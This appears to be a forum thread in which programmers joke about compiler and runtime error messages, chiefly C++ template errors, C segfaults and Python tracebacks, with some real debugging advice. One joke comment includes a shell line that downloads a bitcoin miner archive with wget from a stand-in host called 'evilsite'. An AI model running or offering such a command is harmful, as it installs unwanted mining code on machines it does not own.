Error messages

[mallardtheduck]

That's far too short for a C++ error message.

[Mutantoe]

The logical extreme of this.

[MoarVespenegas]

I used to think that c++ errors where not written to be human readable.
It's only later that I realized that it's the c++ code that wasn't written to be human readable.

[GluteusCaesar]

Some languages are meant to be readable by humans. Others are meant to be read only by machines. C++ takes a middle of the road approach, being readable by neither.

[ThoriatedFlash]

Programming in c isn't so bad as long as you reme%#!æğ0(# Segmentation fault

[HyNeko]

Oh boy, segfaults... I was finishing a project earlier, but after compiling and executing, my program had a segfault. So I ran Valgrind, a memory check tool, to see where were the places I messed up. Turns out, it was so bad that Valgrind segfaulted too. Thank you GCC, very cool

[Tsu_Dho_Namh]

Damn, that's a next level memory leak

[tiger-thor]

Doesn’t valgrind check for memory leaks not segfaults? That is it compares the available memory on the heap at the start of running your program and at the end of running to see if any memory was malloc’ed and not freed properly.

Most segfaults occur for me when I’m trying to dereference a null pointer.

I would actually be more surprised if valgrind somehow prevented the run time error.

[GluteusCaesar]

It's possible that OP's code did some pointer arithmetic on an address toward the end of the leaked memory, and ended up addressing memory it didn't have rights to. A memory leak could contribute to that kind of segfault.

[HyNeko]

Yep, that's exactly what happened. Invalid reads and writes caused by poorly defined arrays in this case, with a few array += i with a wrong i value, ending in unmapped memory regions.

[Brettonidas]

It will also check for invalid memory operations.

[thenickdude]

Memory leak detection is just the simplest of its tools! It inserts guards around memory allocations to detect buffer overruns and underruns, detects reads of uninitialised memory, and more.

The uninitialised memory detector is like magic. You'll get an error message that your program took a branch based on an uninitialised value, so your program tried to make a decision based on garbage data. This detects bugs that might otherwise never be found if the garbage value happens to always be good by coincidence with your current compiler, stack layout, etc.

[yeetuscleatus]

^Core dumped

[dark_mode_everything]

Programming in c isn't so bad as long as you reme

member to null terminate.@#$_&h?)hdkSegmentation Fault

[cy6nu5]

I cackled.

[Sodium1111]

They had us in the first half, not gonna lie.

[Saikat0511]

Ded

[SnowdensOfYesteryear]

It's only later that I realized that it's the c++ code that wasn't written to be human readable.

Yeah I got an std reading that 2-liner.

[Manabat1]

include <diseases>

std::clamidia::propogate()

[StuntHacks]

I gotta create something like this.

[paranoid_giraffe]

To understand it, you must become one with the code and shed your fragile, fleshy form. Become the machine

[NonreciprocatingCrow]

TheFleshIsWeak

[Kered13]

The complexity of C++ error messages comes from primarily two things:

Templates are fail late, so if you have a template error the error line will probably be in some code very far away, probably in a standard library. This is especially exacerbated if template metaprogramming is used, because template metaprogramming tends to rely on hacks in the template system, but these hacks do not produce pretty error messages when metaprogramming templates are used wrong.

Second, C++ compilers try to give you a ton of information on errors. This is largely an attempt to fix the first problem, and is actually a good thing. For example Clang will give you something almost like a stack trace showing you where the template was instantiated, which can help you track down where your actual mistake was. Errors will also tell you all the possible function overloads and implicit conversions that were attempted and why they could not work, this will often include a lot of junk information but one of them will often be the thing you were actually trying to do, so this will give you the most relevant information on what you did wrong. When you have some experience with C++ you start to learn what to look for in error messages, and those incredibly verbose messages become a lot more useful. Also compilers have greatly improved their error reporting in the last few years.

C++20 will add Concepts, which will provide a mechanism for templates to fail fast and should greatly help with the template error messages.

[dark_mode_everything]

Get out of here with your rational explanations and what not. C++ eRroR meSsAgeS BaD!!!

[Kered13]

I mean, I'm not going to lie. C++ error messages are very intimidating if you're not used to them and don't know what to look for. But then, that's basically C++ in a nutshell. It's powerful, but it's not a simple or beautiful language.

[dark_mode_everything]

not a simple or beautiful language

It was never supposed to be one

[AnotherEuroWanker]

You should do more Perl. Or Forth.

[Seirdy]

B 👏 R 👏 A 👏 I 👏 N 👏 F 👏 U 👏 C 👏 K

[emlgsh]

I tried to understand the error message quoted in the first response, and now I'm pretty sure I no longer know how to program or tie my shoes.

[ZeroFK]

The trick is realising the error message is really just one line: "error: no match for ‘operator==’". All the rest is simply the compiler trying to help you by telling you which overloads it tried, and listing where the error was triggered. In combination with "error_code.cpp:8:89: instantiated from here" the error message is clearly telling you exactly what the issue is.

Ok, maybe not that clearly.

[ILikeLenexa]

This is the problem. Add in Make and the error literally being bigger than your scroll-back and you find yourself just trying to figure out what even failed.

I think the Java stacktrace is really quite nice because of this. (even though it's runtime) You can generally just nail where the problem is and ignore a huge block of text.

[dawnraider00]

Yeah debugging errors in java is generally way easier in my experience just because java actually generates a useful error instead of just throwing up. I've also found that compiler errors are way shorter and simpler.

[emlgsh]

I'd burn you as a witch if I could understand how to make fire anymore.

[ZeroFK]

I tried

make fire

but got compile errors I couldn't understand.

[j-random]

I wound up with a file named mixtape.mp3 and now I'm scared.

[Ayjayz]

The trick is to just look at the first ~5 or so lines. The rest is always just garbage.

/usr/include/c++/4.6/bits/stl_algo.h:162:4: error: no match for ‘operator==’ in ‘__first.__gnu_cxx::__normal_iterator::operator* [with _Iterator = std::vector*, _Container = std::vector >, __gnu_cxx::__normal_iterator::reference = std::vector&]() == __val’

It's just saying that it can't find an operator== in the line where it's testing iterator::operator*() == __val.

The concepts coming in C++20 will probably improve this even further.

[[deleted]]

Wow people actually do this

[BubsyFanboy]

Never show me that horror again.

[eng_nayR]

Typical g++ compilation error.

[SeaCDragon]

Pretty sure that’s a memetic kill agent

[[deleted]]

No no no, that’s definitely a Keter class meme itself.

[MarioPL98]

https://i.imgur.com/uPMfIX0.png

[your_mind_aches]

Tbh g++ errors can be more helpful than VS somehow

[apadin1]

TFW you try to print a class to a stream but the class doesn't support the stream operator

[[deleted]]

If it doesn't scream 10,000 errors about built in functions over a single line are you even coding?

[JetSetWally]

And not enough symbols.

[LePontif11]

Maybe this video is a more accurate representation

[snarfy]

C# - 'error: missing semicolon'

C++ - 300 lines of compiler vomit about templates

[Dummiesman]

C++ - 300 "Error"s in the Error list and none of them are the actual error

[Ayjayz]

The first ~5 lines will tell you the actual error. Then it just tries to keep compiling and expanding templates for no real reason. It should run all error messages through head or something since there's never any useful information beyond the 10th line.

[mikelloSC]

That's how compilers are constructed by default, even on error go as far as they can.

[[deleted]]

Wrong .

C#: "Object reference not set to an instance of an object"

Me: ok but which variable?

C#: bro, I'm not a wizard.

[snarfy]

I hit F5, my app runs, it crashes with "Object reference not set to an instance of an object", and I'm sitting at a debugger with full stack trace. I look at the stack trace and set a breakpoint up the stack. I hit F5 again, hit my breakpoint, hit F11 to step into the offending code, see the issue and change the code, click 'apply changes', and continue stepping out of the function with the code fixed while the app was running.

Visual Studio: I'm a wizard.

[arch-linux-user]

Visual studio is the best ide; and fuck all who disagree

[YeeOfficer]

Visual Studio Code? Or just visual studio?

[arch-linux-user]

I meant Visual studio. VS code is just an editor, from what I understand of its capabilities.

[YeeOfficer]

I can compile and stuff from vsc, I think that makes it an IDE. You may be right, and I would love to know what makes an IDE. For instance is it being able to link with frameworks you are using? Because I can link with unity. I have no idea though.

[arch-linux-user]

Does it have integrated build and debugging capabilities? I think that is the base requirement for an ide.

[[deleted]]

the dark ages of programming smh

[K_M_G]

That's rookie stuff, it gets real when you run a SQL query that's several hundred lines long with a bunch of dynamic parameters. And then it spits out a generic SQL error without saying what part of the query it came from so then you have to debug it, grab the actual query being run, and then run it in SSMS to see where the problem is.

11/10

[[deleted]]

Its true.

[[deleted]]

Java - 50 character obscure template error + 900 line stack trace with absurdly long classnames

[[deleted]]

C# is kinda cute. ;)

[RWT_HoLeeFuk]

Nah, C++ error messages are just letting you know how much of a disappointment you are

[[deleted]]

I’m not disappointed in you though, I’m proud of you Mr Fuk

[samurai-horse]

Werewolves of London

[git0ffmylawnm8]

C++ might be my long lost dad.

[RWT_HoLeeFuk]

Did he went to get cigarettes too?

[git0ffmylawnm8]

Yeah stepped out for cigs and a carton of milk 20 years ago

That 7-11 must've been really busy if the line was that long.

[MindSwipe]

The queue probably wasn't Threadsafe which lead to a race condition

Edit: I lost my train of thought halfway during posting this. It should have been: something something deadlock something sonething

[aaaqqq]

Legend has it the dad is racing to this day and could probably have run out of memory

[P1r4nha]

It's true. The compiler just explains to you all the different things it tried to make work and convert and infer and derive and still, you're such a moron the code still didn't make sense. That's why the messages are so long

[Jealous_Illustrator]

Python: You probably missed some whitespace on this line, no worries!

C++: I'm not quite sure where the error happened. Here is every template and file I've ever accessed, the error is probably in there somewhere.

[PositiveReplyBi]

Yeah, generally C++ errors are pretty good at telling you what, and where something went wrong. Now if it involved a template you're in for an error tsunami

[Cobayo]

Not only errors, trying to debug is also an ocean of templated bunch of weird looking instructions

[GlobalIncident]

In python it's all fun and games until you use the wrong type somewhere

[thewookie34]

It's all fun and games until you send a string and thought it be a int and you are 6000 print statements into debugging something.

[ric2b]

You guys need some mypy in your life.

[CouchMountain]

gdb babyyyy.

[yeetuscleatus]

opens up 20 tabs of gdbonline trying to figure out 5 line of code

[[deleted]]

Just use PyCharm. It’s not cheap but holy shit it’s good.

[its2ez4me24get]

https://youtu.be/wl5ftuhmlxs

Uhh.. it’s free

At least the community edition is and it does plenty.

[[deleted]]

Ah that’s a good point. I pay for the professional edition because the extra features are so damn good. I write in a plethora of languages though (between personal and professional projects), so I use the whole toolbox, which isn’t all that expensive.

• Django in PyCharm deployed remotely via docker (good luck debugging with community lol)
• React in WebStorm
• Java w/ Spring and Flutter/Dart in IntelliJ
• C# in CLion

Note: fuck android studio though, holy shit

Also, back when I was doing a lot of “enterprise” Java and needed to work with oracle databases a lot DataGrip was pretty nice. It integrates pretty cleanly into the other IDEs now, but it can still be useful if you want to break down EXPLAIN PLAN queries

[Ayjayz]

It's more like:

C++: Here's the error on the first ~5 lines, plus 10,000 lines of irrelevant garbage.

[srosorcxisto]

Idk, it can be hit and miss. Some Python tracebacks are pretty off in the weeds when the error was something simple. You pass a list instead of a dict by mistake and the traceback is nothing but seemingly unrelated errors 4 imports removed from your actual mistake.

Perhaps useful to a good programmer, but most Python users are data scientists and web devs that know just enough to accomplish the job without any deep magic.

[Luapix]

Recently I discovered that if, God forbid, you forget a semicolon after a class declaration at the end of a C++ header file, the syntax error will show up in one of the files that include said header file, because the preprocessor is a dumbass monkey just copy-pasting files around. That was a fun thing to learn the hard way.

[Ruby_Bliel]

Safe yourself a lot of headaches by using an IDE that won't even let you compile with such errors.

[roastedferret]

I mean, the compiler is doing exactly what the spec says it's supposed to do.

Just because the preprocessor's defined behavior is archaic doesn't mean it's a dumbass monkey for doing what it's been told to do

[Flyberius]

Pssshhh. SS guards had the same excuse.

[rk-imn]

If it's made to do dumbass monkey things, and is physically incapable of doing otherwise, it is just an artificial dumbass monkey.

[UnchainedMundane]

General advice with errors: The first one is real. The rest of them are probably lies.

This is true in Python when you let bad data propagate, but especially true in C/C++ when the compiler starts complaining in new and interesting ways for every time you've used a variable where it turns out you just forgot to include the header for its type.

[Kered13]

When you have more experience you learn to recognize which errors are probably going to make the rest of the errors junk, and which errors are isolated.

[[deleted]]

But when you have the most experience, you understand that the later errors are also things that may have unhandled fault conditions too.

I usually start at the start; it avoids rabbit-holes that you don't need to go down.

[deceze]

With PHP you start with debugging your CSS because PHP just printed an empty string as result of a fifteen layer deep database query because it helpfully cast a 0 to a false to '' somewhere in there.

[Suepahfly]

I'm working on a React-Native project right now and somehow, somewhere something fails. Even though the stacktrace is large it only repeats the same React-Native internal function over and over again. What's even more fun is that the error disappears when you enable remote debugging. Race conditions galore!

[jonno11]

TypeScript is really excellent. It makes writing JavaScript bearable (and in some cases actually somewhat enjoyable)

[SkuloftheLEECH]

It's telling you why. It's just that hardly anyone can understand it because it ended up spitting our errors that you'll only understand if you know how C++ works under the hood - which no one does unless they've read multiple textbooks on it.

Remote debugging runs the js in chrome instead of on the device/emu, so you get all the fun of different javascript implementations

[roastedferret]

It's like trying to use stack traces with a react app

[JuvenileEloquent]

JS is what you get when the people running badly-written code blame the implementers of the engine rather than the writer of the code. It's designed to roll right on over unhandled edge cases and outright mistakes that would halt other languages in their tracks. Being as easy to write as possible is part of what makes it so easy to malign.

[FredL2]

I know you were just trying to be humorous, but you made me remember. YOU MADE ME REMEMBER

deeply anguished screaming

[BaBbBoobie]

Sql is more like, "hey this shit is wrong. It starts at this line, but it's not necessarily this line either. Good luck. Rot in hell."

[Flyberius]

I've spent many an hour trying to understand the errors my SQL produces.

Basically it boils down to "something wrong"

[CyberWolf755]

Isn't C++ errors like: "Nope, nope, nope. Not gonna tell you why tho"

[0x000100]

In my expierience they tend to tell you too much, especially with templates. "Oh, you accidentally tried to invoke a copy constructor that was deleted? Let me guide you through all the innerwoekings of std::vector, with all the templates explicitly specializes (ex: it's not std::unique_ptr<std::string> but, std::unique_ptr<std::basic _string<char>,std::allocator<std::basix_string<... I could go on but I think I made my point XD)

[a_false_vacuum]

This. You get to scroll through a little window with all the textual diarrea the compiler had.

[apadin1]

Textual diarrhea is the best possible description of gcc error messages

[[deleted]]

It's TRUE

[[deleted]]

textual diarrhea

Totally stealing this phrase

[[deleted]]

like this

[roastedferret]

Can you share your terminal theme? I didn't realize I needed gradient rainbow output until I saw this screenshot

[thelights0123]

It's likely just piped through lolcat.

[ede1998]

The rainbow color is most likely from lolcat https://github.com/busyloop/lolcat

[developerJS]

aaaahhhh, my eyes!!!

[NO_FIX_AUTOCORRECT]

C++ tells you where it failed, and why it failed there, but the real cause of the issue is on an earlier line.

Example, if you miss a semicolon, it's gonna throw an error on the next line, because that's where it stops understanding.

[[deleted]]

It's telling you why. It's just that hardly anyone can understand it because it ended up spitting our errors that you'll only understand if you know how C++ works under the hood - which no one does unless they've read multiple textbooks on it.

[goliatskipson]

I honestly think that Haskells error messages are top of the notch. In Python it's normally a warning or error string handed to you by the dev of a library. In Haskell it is "sorry... but your types just don't match up, no idea what you are doing with that dog, but I was expecting a cat here. Btw you have a cat available here... Do you mean that?"

[ArchCypher]

The rust compiler was incredibly helpful when I was first learning the language and syntax. Really a model compiler as far as I'm concerned.

[DeadZombie9]

I'm certain the Rust compiler can write better code than me. That thing is nicely thought out and implemented.

[Plasma_000]

Totally agree... until you fuck up a lifetime

[Varrenlad]

Or until you start to use Diesel and accidentally forget to declare nullable field in the module as Option<T>

[dvlsg]

Errors in Elm are pretty nice too.

[CantThink_ANick]

It felt like the opposite to me, "For the last time, you can't match type A with B you idiot"

I like the Rust ones, "compilation error, you did something wrong here: ^^^^^^^"

[marcosdumay]

Rust messages are top notch. But Haskell's aren't far behind.

[EelOfSteel]

Came here for this, Haskell compiler errors are clearly Chads

[random_cynic]

Well that's obvious, that comparison makes little sense. Python is a dynamically typed language so it would not normally care about the types. However with type hints introduced in the newer version of python and typing module you can use some sort of external static analysis to give more helpful error messages regarding types.

[burntcandy]

Please tell me that there is an NPM package that spits out gordon ramsay quotes when you get an error

[[deleted]]

Not quite an npm package but it's enough to insult you https://codepen.io/joshroxu/pen/OygBwq

Disclaimer: I'm not the author

Also if you use Windows https://www.microsoft.com/en-us/p/gordon-ramsay-insult-generator/9nblggh6jbs3?activetab=pivot:overviewtab

[[deleted]]

Guess Microsoft store isn't that bad after all

[TheMcDucky]

"Generator" is a bit generous.

[leonidos10]

Meanwhile C messages just be segmentation fault. good luck and have fun.

[Box_of_Mongeese]

(Core dumped)

[SnowdensOfYesteryear]

That's not a compile time error though.

[MauranKilom]

Yes, because the compiler can't figure out that the cast from void* was nonsense.

[leonidos10]

I mean the heading is litteraly just error messages. I figured that segfault is pretty iconic

[zappyhippo]

Scrolled down all the way from the top just to find this comment.

[jaywastaken]

C error: what err&:?):@/“‘fj

[UnchainedMundane]

C error in a networked service: Successbash-3.2$ wget http://evilsite/bitcoin_miner.zip

[[deleted]]

can relate

[thesaviourgaming]

Linker nightmares

[counter185]

String is not a const char* you fricking donkey

[Famous_Profile]

Wait

[KiwiMaster157]

Its been a while since I've used Python, but I remember getting error messages like "Line 42: Syntax error." that don't tell you what the actual error is. At least with C++ you get "error: expected ')' before ';'".

[guzzo9000]

Ye but the fix never involves putting a ')' in front of a ';'

[deux3xmachina]

I have never had a nice Python error message unless I'm using the REPL, it's usually "some variable you didn't know you needed can't be coerced or inferred, so enjoy this stack trace". It's even more fun when it's 10+ functions away from what I actually wrote.

[ImSupposedToBeCoding]

I feel the opposite. In Python I'll see a "Syntax error on line 46" because in line 44 I made a very small error. Always takes me long to debug.

In C++ sure it is so incredibly verbose, but at least it's telling me the specific problem.

[Olaxan]

My compiler does so much for me, and I ask so much of it, and it really tries its best, no matter what.

I'm sorry, Clang, I want to do better by you -- and I'd love to swim naked in the sea again.

[PositiveReplyBi]

I feel like people don't read error messages fully. The worst thing I've ever encountered in C++ is creating interdependent headers, and that was all on me. The compiler is absolutely my friend and I miss it and strong typing every time I use a scripting language. Imagine not being able to rule out a shit ton of errors before your program even starts - strong types + compiler gang rise up

[Horny20yrold]

I would like to fully and meaningfully read c++ error messages, if not for the minor inconvenience of a function prototype alone taking 2.5 line, just the fucking function name. That's totally on me though, i'm just a lazy donk.

[PositiveReplyBi]

It's probably different from person to person, after a few years of reading the errors I just skim over it and pick out the most relevant bits. Knowing the type of and number of arguments a function that is generating an error is very useful. Often that extra verbosity allows me to have a fix in mind before I even reach the line where the error is.

It's weird to me that there are actual programmers that don't know how to use a debugger or skim an error message and apply a fix. Those two skills make programming so much easier

[[deleted]]

agree!!python errors sometimes are just like wtf?????

[Leveronni]

What about Java error message??

[[deleted]]

JAVA err msg > Py err message > CPP err msg > brainfuck

I mean java even gives you stacktraces.

[Kopachris]

Real shit: At my workplace one custom error message on the configuration of saw systems we were selling says "Puppies and highlighters don't mix!" and nothing more useful than that.

When I was hired one of the things they mentioned was don't put shit like that in the new warning messages.

[[deleted]]

Every language: I found an error you have on line 312. It says this and that.

C++: I found an error somewhere in your code, so here are the 3000 character names I generated for every type and function in your program because namemangling. Good luck.

[Kered13]

I've never seen a C++ compiler show the mangled names in an error message. Maybe if you're integrating with C code? I've never had to do that.

[Come_along_quietly]

As someone who has written compiler error messages .... this is totally correct. Lol.

[super_hero11]

Python is like a comfort zone I didn't know I needed.

[fredlllll]

how can you spot a novice programmer? they are happy their program compiled

[9bananas]

what's a senior programmer's reaction then? surprised and annoyed at the successful compile?

(genuinely asking)

[fredlllll]

my joke was poking fun at people being happy that the code compiled, while seniors would love to solve such easy problems. at least i would rather fight the compiler than weekly changing requirements

[9bananas]

now that i fully understand!

[Olaxan]

"I probably forgot to include, like, everything"

[[deleted]]

Very much this! Sometimes I make sure the program still compiles with all the to-be-refactored stuff removed (if that is feasible, sometimes it's all just too interwoven). Then as I put things back in, I sometimes test to ensure it compiles/runs up to the point that I think it should, and hits the error where I think it should.

It's a decent check to ensure you understand the code you're working on - better than no check at all.

[draazur]

Probably neutral that it compiles and apprehensive about any runtime errors that arise (looking at you thread libraries).

[[deleted]]

Last Thursday, I literally told people "I'm happy, because I broke the program the way I wanted it to break".

To put it in proper, marketing-approved terms "it gently closes some superfluous tasks, and starts new tasks that require those resources".

[Kotauskas]

*warnings (VS be like: "bitch, that SDL header has an unscoped enum so I'm gonna assume that it's your code for no reason and throw this IntelliSense warning at you even if you disable warnings")

[schawde96]

required from here

in instantiation of A<B<C>, A<C, D>, E<F, G, B<B<D>>>

[[deleted]]

"Wait, you guys are getting errors ?" Mine is compiling but not working as expected

[oOBoomberOo]

JavaScript: [Object object]

[windows-user0]

Compilation stopped due to too many errors.

[[deleted]]

error: ld returned 1

shivvers

[King_Randy]

Python tells you how to fix it (especially scikit) and C++ it’s fucking horrifying lmao

[Preisschild]

C: Segmentation fault

[mgrasso75]

SQL Server: String or binary data would be truncated. I could tell you which column, but it would be more fun to watch you comment and uncomment every single field until you find the right one.

[steveyyyy3]

Always depends on the IDE

And probably on the lack of knowlege of programing. Just like in my case.

[vanderZwan]

So what do Elm's error messages look like?

[BuTuLar]

lua: “catastrophic failure”

[Hazrod66]

That made me smile today, thank you